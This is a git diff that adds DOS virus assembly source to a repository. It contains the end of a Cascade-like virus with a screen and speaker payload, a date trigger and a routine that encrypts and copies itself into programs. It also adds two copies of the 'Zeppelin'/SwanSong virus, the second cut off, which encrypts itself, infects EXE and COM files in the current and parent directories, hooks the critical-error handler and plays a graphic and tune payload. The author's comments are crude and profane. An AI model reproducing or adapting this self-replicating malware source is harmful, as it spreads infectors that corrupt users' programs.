DS:CODE +DISPLY: MOV NUMROW,18H ; Number of display rows + PUSH DS + MOV AX,0040H ; \ Set DS to system RAM + MOV DS,AX ; / + ASSUME DS:RAM + MOV AX,BW044E ; VDU display start address + POP DS + ASSUME DS:CODE + MOV VDURAM,AX ; Save VDU display start address + MOV DL,0FFH + MOV AX,1130H ; Get character generator information + MOV BH,0 ; Int 1FH vector + PUSH ES + PUSH BP + INT 10H ; VDU I/O + POP BP + POP ES + CMP DL,0FFH ; Is register unchanged? + JE DSP010 ; Branch if yes + MOV NUMROW,DL ; Number of display rows (EGA) +DSP010: MOV AH,0FH ; Get VDU parameters + INT 10H ; VDU I/O + MOV NUMCOL,AH ; Save number of columns + MOV C80_SW,0 ; Set off 80 column text switch + MOV RAM_SG,0B000H ; Video RAM segment - Mono + CMP AL,7 ; Mode 7? + JE DSP040 ; Branch if yes + JB DSP020 ; Branch if less + JMP DSP130 ; Switch off speaker and return + +DSP020: MOV RAM_SG,0B800H ; Video RAM segment + CMP AL,3 ; Display mode 3? + JA DSP040 ; Branch if above + CMP AL,2 ; Display mode 2? + JB DSP040 ; Branch if below + MOV C80_SW,1 ; Set on 80 column text switch + MOV AL,NUMROW ; Number of display rows + INC AL ; Number, not offset + MUL NUMCOL ; Number of visible columns + MOV NUMPOS,AX ; Save number of display positions + MOV AX,RANPOS ; Get number of lines to affect + CMP AX,NUMPOS ; Number of display positions + JBE DSP030 ; Branch if within range + MOV AX,NUMPOS ; Get number of display positions +DSP030: CALL RNDNUM ; Create random number + INC AX ; Add to random number + MOV SI,AX ; Use as count +DSP040: XOR DI,DI ; Set second count to zero +DSP050: INC DI ; Increment second count + MOV AX,NUMPOS ; Get number of display positions + SHL AX,1 ; Multiply by two + CMP DI,AX ; Has second count reached this? + JBE DSP060 ; Branch if not + JMP DSP130 ; Switch off speaker and return + +DSP060: OR SWITCH,2 ; Set on switch 2 + MOV AL,NUMCOL ; \ Number of visible columns + MOV AH,0 ; / is upper limit + CALL RNDNUM ; Create random number + MOV DL,AL ; Random column number + MOV AL,NUMROW ; \ Number of display rows + MOV AH,0 ; / is upper limit + CALL RNDNUM ; Create random number + MOV DH,AL ; Random row number + CALL GETCHA ; Get character and attributes + CALL IGNORE ; Is character 0, 32 or 255? + JB DSP050 ; Branch if yes + CALL GRAPHD ; Is it a graphic display character + JB DSP050 ; Branch if yes + MOV CURCHA,AL ; Save current character + MOV CURATT,AH ; Save current attributes + MOV CL,NUMROW ; Number of display rows + MOV CH,0 ; Column zero +DSP070: INC DH ; Next row + CMP DH,NUMROW ; Was that the last row? + JA DSP110 ; Branch if yes + CALL GETCHA ; Get character and attributes + CMP AH,CURATT ; Are attributes the same? + JNE DSP110 ; Branch if not + CALL IGNORE ; Is character 0, 32 or 255? + JB DSP090 ; Branch if yes +DSP080: CALL GRAPHD ; Is it a graphic display character + JB DSP110 ; Branch if yes + INC DH ; Next row + CMP DH,NUMROW ; Was that the last row? + JA DSP110 ; Branch if yes + CALL GETCHA ; Get character and attributes + CMP AH,CURATT ; Are attributes the same? + JNE DSP110 ; Branch if not + CALL IGNORE ; Is character 0, 32 or 255? + JNB DSP080 ; Branch if not + CALL CH_SND ; Toggle speaker drive + DEC DH ; Previous row + CALL GETCHA ; Get character and attributes + MOV CURCHA,AL ; Save current character + INC DH ; Next row +DSP090: AND SWITCH,0FDH ; Set off switch 2 + DEC DH ; Previous row + MOV AL,20H ; Replace character with space + CALL STOCHA ; Store character and attributes + INC DH ; Next row + MOV AL,CURCHA ; Get current character + CALL STOCHA ; Store character and attributes + JCXZ DSP100 ; Branch if end of count + CALL DELAY ; Delay loop + DEC CX ; Decrement count +DSP100: JMP SHORT DSP070 + +DSP110: TEST SWITCH,2 ; Test switch 2 + JZ DSP120 ; Branch if off + JMP DSP050 + +DSP120: CALL CH_SND ; Toggle speaker drive + DEC SI ; Subtract from count + JZ DSP130 ; Switch off speaker and return + JMP DSP040 + + ; Switch off speaker and return + +DSP130: IN AL,61H ; Get port B + AND AL,0FCH ; Switch off speaker + OUT 61H,AL ; Rewrite port B+ + RET + + ; Interrupt 1CH routine + + ASSUME DS:NOTHING +INT_1C: TEST SWITCH,9 ; No display or already active? + JNZ I_1C40 ; Branch if either are on + OR SWITCH,1 ; Set on Int 1CH active switch + DEC I1CCNT ; Subtract from Int 1CH count + JNZ I_1C30 ; Branch if not zero + PUSH DS + PUSH ES + PUSH CS ; \ Set DS to CS + POP DS ; / + PUSH CS ; \ Set ES to CS + POP ES ; / + ASSUME DS:CODE + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH BP + MOV AL,20H ; \ Signal end of interrupt + OUT 20H,AL ; / + MOV AX,I1CMAX ; Get Int 1CH random no maximum + CMP AX,0438H ; Is it 1080 or above + JNB I_1C10 ; Branch if yes + MOV AX,0438H ; Upper limit - 1080 +I_1C10: CALL RNDNUM ; Create random number + INC AX ; Add to random number + MOV I1CCNT,AX ; Reset Int 1CH count + MOV I1CMAX,AX ; Reset Int 1CH random no maximum + CALL DISPLY ; Cascade display routine + MOV AX,3 ; Upper limit - 3 + CALL RNDNUM ; Create random number + INC AX ; Add to random number + MUL RANPOS ; Multiply by num of lines to affect + JNB I_1C20 ; Is result more than a word? + MOV AX,-1 ; Set to maximum +I_1C20: MOV RANPOS,AX ; Save number of lines to affect + POP BP + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + POP ES + POP DS + ASSUME DS:NOTHING +I_1C30: AND SWITCH,0FEH ; Set off Int 1CH active switch +I_1C40: JMP I1CBIO ; Branch to original int 1CH + + ; Interrupt 28H routine + +INT_28: TEST SWITCH,8 ; Test No display switch + JZ I_2830 ; Branch if not + PUSH AX + PUSH CX + PUSH DX + MOV AH,2AH ; Get date function + INT 21H ; DOS service + CMP CX,07C4H ; Year 1988? + JB I_2820 ; Not yet - do nothing + JA I_2810 ; After 1988 + CMP DH,0AH ; October? + JB I_2820 ; Not yet - do nothing +I_2810: AND SWITCH,0F7H ; Set off No display switch +I_2820: POP DX + POP CX + POP AX +I_2830: JMP I28BIO ; Branch to original int 28H + + ; Copy virus to program + +CPYVIR: PUSH ES + PUSH BX + MOV AH,48H ; Allocate memory function + MOV BX,006BH ; Length of virus + INT 21H ; DOS service + POP BX + JNB CPY020 ; Branch if no error +CPY010: STC + POP ES + RET + +CPY020: MOV DB0100,1 ; Set encryption indicator + MOV ES,AX ; Set target segment to allocated + PUSH CS ; \ Set DS to CS + POP DS ; / + ASSUME DS:CODE + XOR DI,DI ; Start of allocated + MOV SI,OFFSET DB0100 ; Start of virus + MOV CX,VIRLEN ; Length of virus + CLD + REPZ MOVSB ; Copy virus + MOV DI,0023H ; Start of area to encrypt + MOV SI,OFFSET BP0030 ; Address of area + ADD SI,F_SIZ1 ; Length of target file + MOV CX,OFFSET ENDADR-BP0030 ; Length to encrypt +CPY030: XOR ES:[DI],SI ; \ Encrypt + XOR ES:[DI],CX ; / + INC DI ; \ Next address + INC SI ; / + LOOP CPY030 ; Repeat for all area + MOV DS,AX ; Allocated area segment + MOV AH,40H ; Write handle function + XOR DX,DX ; From start + MOV CX,VIRLEN ; Length of virus + INT 21H ; DOS service + PUSHF + PUSH AX + MOV AH,49H ; Free allocated memory function + INT 21H ; DOS service + POP AX + POPF + PUSH CS ; \ Set DS to CS + POP DS ; / + JB CPY010 ; Branch if error + CMP AX,CX ; Correct length written? + JNE CPY010 ; Branch if error + POP ES + CLC +CPY040: RET + +ENDADR EQU $ + +CODE ENDS + + END START + \ No newline at end of file diff --git a/0-9/1717 (6).ASM b/0-9/1717 (6).ASM new file mode 100755 index 0000000..8b8b1df --- /dev/null +++ b/0-9/1717 (6).ASM @@ -0,0 +1,664 @@ +;************************************************************************** +; +;The Zeppelin Virus September 25, 1992 +;[MPC] Generated... +;Created by... pAgE +;As a TRiBuTe to John "back-beat" Bohnam, this "WEAK-DICK" ViRUS was made! +;Incidently. He died on this date in 1980! Got drunk and strangled on a +;CunT hAiR...oR wAs iT a tAmPoN???...Oh well, So goes RocK -n- RoLL... +;By the wAy<---That's whAt you sAy just beforE you bOrE the FuCK out of +;soMeoNe with anOthEr TRiViAl piEce of SHiT!!! These LiTTLe Up AnD LeTTeRS +;ThAt yA'll uSe, ArE a KicK.... +; +;Okay, enough anti-social, suicidal, satan, sputum...On with the ViRUS... +; GeT'S in ThE bl00d DoEsn't it?------->^^^^^ +; +;Here it is... +;It's not much, but in the hands off a knowledgeable Vx WRiTeR....... +;I'll keep workin' on it and see what I can do. In the mean time, have fun! +;I ReM'd out a lot of the ShIt iN here, So Joe LuNChmEaT doesn;t FrY hImSelF. +; +;But...If that's not good enough, well then - hEy! - BLoW mE! +; +;*************************************************************************** + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +id = 'IS' ; ID word for EXE infections +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: ; handles encryption and decryption +patch_startencrypt: + mov di,offset startencrypt ; start of decryption + mov si,(offset heap - offset startencrypt)/2 ; iterations +decrypt_loop: + db 2eh,81h,35h ; xor word ptr cs:[di], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc di ; calculate new decryption location + inc di + dec si ; If we are not done, then + jnz decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: + pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + + cmp sp,id ; COM or EXE? + je restoreEXE +restoreCOM: + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsb + jmp short restoreEXIT +restoreEXE: + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw +restoreEXIT: + movsw + + mov byte ptr [bp+numinfec],5 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + lea dx,[bp+exe_mask] + call infect_mask + lea dx,[bp+com_mask] + call infect_mask + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: + ;mov ah,2ah ; Get current date + ;int 21h + ;cmp dh,9 ; Check month + ;jb act_two + ;cmp dl,25 ; Check date + ;jb act_two + ;cmp cx,1992 ; Check year + ;jb act_two + ;cmp al,0 ; Check date of week + ;jb activate + + ;mov ah,2ch ; Get current time + ;int 21h + ;cmp dl,50 ; Check the percentage + jbe activate + +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + cmp sp,id-4 ; EXE or COM? + jz returnEXE +returnCOM: + int 27h + retn ; 100h is on stack +returnEXE: + pop es + pop ds + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +jmpsave dd ? ; Original CS:IP +stacksave dd ? ; Original SS:SP +jmpsave2 db ? ; Actually four bytes +save3 db 0cdh,20h,0 ; First 3 bytes of COM file +exe_mask db '*.exe',0 +com_mask db '*.com',0 +stacksave2 dd ? + +activate proc far + +start: + jmp short loc_1 + db 90h +data_2 db 0 +data_3 dw 216h + db 2 +data_4 dw 0 + db 'Ripped this Motherfucker off' + db 1Ah +data_5 db 'SHIT!!! Wont work....', 0Dh, 0Ah + db '$' +loc_1: + + mov ax,0003h ; stick 3 into ax. + int 10h ; Set up 80*25, text mode. Clear the screen, too. + mov ah,0Fh + int 10h ; Video display ah=functn 0Fh + ; get state, al=mode, bh=page + ; ah=columns on screen + mov bx,0B800h + cmp al,2 + je loc_2 ; Jump if equal + cmp al,3 + je loc_2 ; Jump if equal + mov data_2,0 + mov bx,0B000h + cmp al,7 + je loc_2 ; Jump if equal + mov dx,offset data_5 ; ('Unsupported Video Mode') + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + retn +loc_2: + mov es,bx + mov di,data_4 + mov si,offset data_6 + mov dx,3DAh + mov bl,9 + mov cx,data_3 + cld ; Clear direction + xor ax,ax ; Zero register + +locloop_4: + lodsb ; String [si] to al + cmp al,1Bh + jne loc_5 ; Jump if not equal + xor ah,80h + jmp short loc_20 +loc_5: + cmp al,10h + jae loc_8 ; Jump if above or = + and ah,0F0h + or ah,al + jmp short loc_20 +loc_8: + cmp al,18h + je loc_11 ; Jump if equal + jnc loc_12 ; Jump if carry=0 + sub al,10h + add al,al + add al,al + add al,al + add al,al + and ah,8Fh + or ah,al + jmp short loc_20 +loc_11: + mov di,data_4 + add di,data_1e + mov data_4,di + jmp short loc_20 +loc_12: + mov bp,cx + mov cx,1 + cmp al,19h + jne loc_13 ; Jump if not equal + lodsb ; String [si] to al + mov cl,al + mov al,20h ; ' ' + dec bp + jmp short loc_14 +loc_13: + cmp al,1Ah + jne loc_15 ; Jump if not equal + lodsb ; String [si] to al + dec bp + mov cl,al + lodsb ; String [si] to al + dec bp +loc_14: + inc cx +loc_15: + cmp data_2,0 + je loc_18 ; Jump if equal + mov bh,al + +locloop_16: + in al,dx ; port 3DAh, CGA/EGA vid status + rcr al,1 ; Rotate thru carry + jc locloop_16 ; Jump if carry Set +loc_17: + in al,dx ; port 3DAh, CGA/EGA vid status + and al,bl + jnz loc_17 ; Jump if not zero + mov al,bh + stosw ; Store ax to es:[di] + loop locloop_16 ; Loop if cx > 0 + + jmp short loc_19 +loc_18: + rep stosw ; Rep when cx >0 Store ax to es:[di] +loc_19: + mov cx,bp +loc_20: + jcxz loc_new_25 ; Jump if cx=0 + loop locloop_4 ; Loop if cx > 0 +loc_new_25: + + + mov si,offset data00 ; SI points to data +get_note: mov bx,[si] ; Load BX with the frequency + or bx,bx ; Is BX equal to zero? + je play_tune_done ; If it is we are finished + + mov ax,034DDh ; + mov dx,0012h ; + cmp dx,bx ; + jnb new_note ; + div bx ; This bit here was stolen + mov bx,ax ; from the Turbo C++ v1.0 + in al,061h ; library file CS.LIB. I + test al,3 ; extracted sound() from the + jne skip_an_or ; library and linked it to + or al,3 ; an .EXE file, then diassembled + out 061h,al ; it. Basically this turns + mov al,0B6h ; on the speaker at a certain + out 043h,al ; frequency. +skip_an_or: mov al,bl ; + out 042h,al ; + mov al,bh ; + out 042h,al ; + + mov bx,[si + 2] ; BX holds duration value + xor ah,ah ; BIOS get time function + int 1Ah + add bx,dx ; Add the time to the length +wait_loop: int 1Ah ; Get the time again (AH = 0) + cmp dx,bx ; Is the delay over? + jne wait_loop ; Repeat until it is + in al,061h ; Stolen from the nosound() + and al,0FCh ; procedure in Turbo C++ v1.0. + out 061h,al ; This turns off the speaker. + +new_note: add si,4 ; SI points to next note + jmp short get_note ; Repeat with the next note +play_tune_done: +activate endp + + jmp exit_virus + +creator db '[pAgE]',0 ; YOU REALLY SHOULD TAKE THIS +virusname db '[SwanSong]',0 ; BULLSHIT OUT OF HERE!!! +author db 'pAgE',0 ; WHY NOT HOLD UP A SIGN!!! + +infect_mask: + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc exit_infect_mask ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,20h ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM'; EXE? + jz checkEXE ; Why yes, yes it is! +checkCOM: + mov ax,word ptr [bp+newDTA+1ah] ; Filesize in DTA + cmp ax,(heap-decrypt) ; Is it too small? + jb find_next + + mov bx,word ptr [bp+buffer+1] ;get jmp location + add bx,(heap-decrypt+1) ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext +exit_infect_mask: ret + +infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + + add ax,(heap-decrypt) ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + push word ptr [bp+buffer+14h] ; needed later + mov cx, 1ah + jmp short finishinfection +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + +get_encrypt_value: + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + or dx,dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + pop ax ; remove call from stack + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,(heap-decrypt) ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control +data00 dw 2000,8,2500,8,2000,14,2500,14 + dw 2500,14,3000,4,4000,24,3500,12,4000,6 + dw 3500,12,4000,4,4500,10,5000,4 + dw 5500,15,3000,8,3500,20,3000,8,3500,50 + dw 2000,8,2500,8,2000,14,2500,14 + dw 2500,14,3000,4,4000,24,3500,12,4000,6 + dw 3500,12,4000,4,4500,10,5000,4 + dw 5500,15,3000,8,3500,20,3000,8,3500,50 + dw 2000,8,2500,8,2000,14,2500,14 + dw 2500,14,3000,4,4000,24,3500,12,4000,6 + dw 3500,12,4000,4,4500,10,5000,4 + dw 5500,15,3000,8,3500,20,3000,8,3500,50 + dw 0 + +data_6 db 9 + db 10h, 19h, 45h, 18h, 19h, 1Bh + db 01h,0D5h,0CDh,0CDh,0B8h, 04h + db 0F3h, 09h,0A9h, 04h, 9Dh + db 9 + db 0AAh, 04h,0F2h, 01h,0D5h,0CDh + db 0CDh,0B8h, 19h, 1Ch, 18h, 19h + db 12h,0D5h, 1Ah, 0Ah,0CDh,0BEh + db 20h, 09h, 5Ch, 04h,0F6h, 09h + db 2Fh, 20h, 01h,0D4h, 1Ah, 0Ah + db 0CDh,0B8h, 19h, 13h, 18h, 19h + db 03h,0C9h, 1Ah, 0Dh,0CDh,0BEh + db 19h, 03h, 0Fh,0D2h,0B7h, 19h + db 04h,0D6h, 1Ah, 03h,0C4h,0B7h + db 20h,0D2h,0D2h,0C4h,0C4h,0C4h + db 0B7h, 19h, 04h, 01h,0D4h, 1Ah + db 0Eh,0CDh,0BBh, 19h, 03h, 18h + db 19h, 03h,0BAh, 19h, 12h, 07h + db 0BAh,0BAh, 19h, 04h,0BAh, 19h + db 03h,0BDh, 20h,0BAh,0BAh, 19h + db 02h,0D3h,0B7h, 19h, 13h, 01h + db 0BAh, 19h, 03h, 18h, 19h, 03h + db 0BAh, 19h, 07h, 0Bh, 1Ah, 02h + db 04h, 19h, 07h, 08h,0BAh,0B6h + db 19h, 04h,0C7h,0C4h,0B6h, 19h + db 03h,0BAh,0B6h, 19h, 03h,0BAh + db 19h, 07h, 0Bh, 1Ah, 02h, 04h + db 19h, 08h, 01h,0BAh, 19h, 03h + db 18h,0D6h,0C4h,0C4h, 20h,0BAh + db 19h, 12h, 08h,0BAh,0D3h, 19h + db 02h,0B7h, 20h,0BAh, 19h, 03h + db 0B7h, 20h,0BAh,0D3h, 19h, 02h + db 0D6h,0BDh, 19h, 13h, 01h,0BAh + db 20h,0C4h,0C4h,0B7h, 18h,0D3h + db 0C4h,0C4h,0C4h,0BDh, 19h, 12h + db 08h,0D3h, 1Ah, 03h,0C4h,0BDh + db 20h,0D3h, 1Ah, 03h,0C4h,0BDh + db 20h,0D0h, 1Ah, 03h,0C4h,0BDh + db 19h, 14h, 01h,0D3h,0C4h,0C4h + db 0C4h,0BDh, 18h, 04h, 1Ah, 04h + db 3Eh, 19h, 03h, 0Fh,0D6h, 1Ah + db 04h,0C4h,0B7h, 20h,0D6h, 1Ah + db 03h,0C4h,0B7h, 20h,0D2h,0D2h + db 0C4h,0C4h,0C4h,0B7h, 20h,0D2h + db 0D2h,0C4h,0C4h,0C4h,0B7h, 20h + db 0D6h, 1Ah, 03h,0C4h,0B7h, 20h + db 0D2h,0B7h, 19h, 04h,0D2h, 20h + db 20h,0D2h,0D2h,0C4h,0C4h,0C4h + db 0B7h, 19h, 03h, 04h, 1Ah, 04h + db 3Ch, 18h, 01h,0D6h,0C4h,0C4h + db 0C4h,0B7h, 19h, 07h, 07h,0D6h + db 0C4h,0BDh + dd 319BA20h ; Data table (indexed access) + db 0BDh, 20h,0BAh,0BDh, 19h, 02h + db 0BAh, 20h,0BAh,0BDh, 19h, 02h + db 0BAh, 20h,0BAh, 19h, 03h,0BDh + db 20h,0BAh,0BAh, 19h, 04h,0BAh + db 20h, 20h,0BAh,0BAh, 19h, 02h + db 0BAh, 19h, 03h, 01h,0D6h,0C4h + db 0C4h,0C4h,0B7h, 18h,0D3h,0C4h + db 0C4h, 20h,0BAh, 19h, 06h, 08h + db 58h, 19h, 03h,0C7h,0C4h,0B6h + db 19h, 03h,0BAh, 1Ah, 03h,0C4h + db 0BDh, 20h,0BAh, 1Ah, 03h,0C4h + db 0BDh, 20h,0C7h,0C4h,0B6h, 19h + db 03h,0BAh,0B6h, 19h, 04h,0BAh + db 20h, 20h,0BAh,0B6h, 19h, 02h + db 0BAh, 19h, 03h, 01h,0BAh, 20h + db 0C4h,0C4h,0BDh, 18h, 19h, 03h + db 0BAh, 19h, 03h, 08h,0D6h,0C4h + db 0BDh, 19h, 04h,0BAh, 19h, 03h + db 0B7h, 20h,0BAh, 19h, 05h,0BAh + db 19h, 05h,0BAh, 19h, 03h,0B7h + db 20h,0BAh,0D3h, 19h, 02h,0B7h + db 20h,0BAh, 20h, 20h,0BAh,0D3h + db 19h, 02h,0BAh, 19h, 03h, 01h + db 0BAh, 19h, 03h, 18h, 19h, 03h + db 0BAh, 19h, 03h, 08h,0D3h, 1Ah + db 04h,0C4h,0BDh, 20h,0D3h, 1Ah + db 03h,0C4h,0BDh, 20h,0BDh, 19h + db 05h,0BDh, 19h, 05h,0D3h, 1Ah + db 03h,0C4h,0BDh, 20h,0D3h, 1Ah + db 03h,0C4h,0BDh, 20h,0D0h, 20h + db 20h,0D0h, 19h, 03h,0D0h, 19h + db 03h, 01h,0BAh, 19h, 03h, 18h + db 19h, 03h,0C8h, 1Ah, 15h,0CDh + db 0B8h, 19h, 0Ch,0D5h, 1Ah, 16h + db 0CDh,0BCh, 19h, 03h, 18h, 19h + db 1Ah,0D4h,0CDh, 04h, 1Ah, 03h + db 0F7h, 09h, 2Fh, 04h,0EAh, 09h + db 5Ch, 04h, 1Ah, 03h,0F7h, 01h + db 0CDh,0BEh, 19h, 1Bh, 18h + +data_1e equ 0A0h +dot_dot db '..',0 +heap: +; The following code is the buffer for the write function +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +finish label near +end entry_point + + + +; Yeah, the main problem is reproducing the effect in an infected file so +; thta when IT runs, IT too will display... That's the GLITCH... +; +; Also, I had stuck INT 27H in somewhere around the EXIT .EXE... +; I don't remember, but it would go resident and suck up memory, yet +; since it hooked no interuppts, it just sat there... +; Feel free to STUDY this code and distribute it feely for educational +; purposes, because in spite of the kidding...I don't "hAcK"... for lack +; of a better word...--->>pAgE<<--- diff --git a/0-9/1717.asm b/0-9/1717.asm new file mode 100755 index 0000000..8b8b1df --- /dev/null +++ b/0-9/1717.asm @@ -0,0 +1,664 @@ +;************************************************************************** +; +;The Zeppelin Virus September 25, 1992 +;[MPC] Generated... +;Created by... pAgE +;As a TRiBuTe to John "back-beat" Bohnam, this "WEAK-DICK" ViRUS was made! +;Incidently. He died on this date in 1980! Got drunk and strangled on a +;CunT hAiR...oR wAs iT a tAmPoN???...Oh well, So goes RocK -n- RoLL... +;By the wAy<---That's whAt you sAy just beforE you bOrE the FuCK out of +;soMeoNe with anOthEr TRiViAl piEce of SHiT!!! These LiTTLe Up AnD LeTTeRS +;ThAt yA'll uSe, ArE a KicK.... +; +;Okay, enough anti-social, suicidal, satan, sputum...On with the ViRUS... +; GeT'S in ThE bl00d DoEsn't it?------->^^^^^ +; +;Here it is... +;It's not much, but in the hands off a knowledgeable Vx WRiTeR....... +;I'll keep workin' on it and see what I can do. In the mean time, have fun! +;I ReM'd out a lot of the ShIt iN here, So Joe LuNChmEaT doesn;t FrY hImSelF. +; +;But...If that's not good enough, well then - hEy! - BLoW mE! +; +;*************************************************************************** + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +id = 'IS' ; ID word for EXE infections +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: ; handles encryption and decryption +patch_startencrypt: + mov di,offset startencrypt ; start of decryption + mov si,(offset heap - offset startencrypt)/2 ; iterations +decrypt_loop: + db 2eh,81h,35h ; xor word ptr cs:[di], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc di ; calculate new decryption location + inc di + dec si ; If we are not done, then + jnz decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: + pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + + cmp sp,id ; COM or EXE? + je restoreEXE +restoreCOM: + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsb + jmp short restoreEXIT +restoreEXE: + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw +restoreEXIT: + movsw + + mov byte ptr [bp+numinfec],5 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + lea 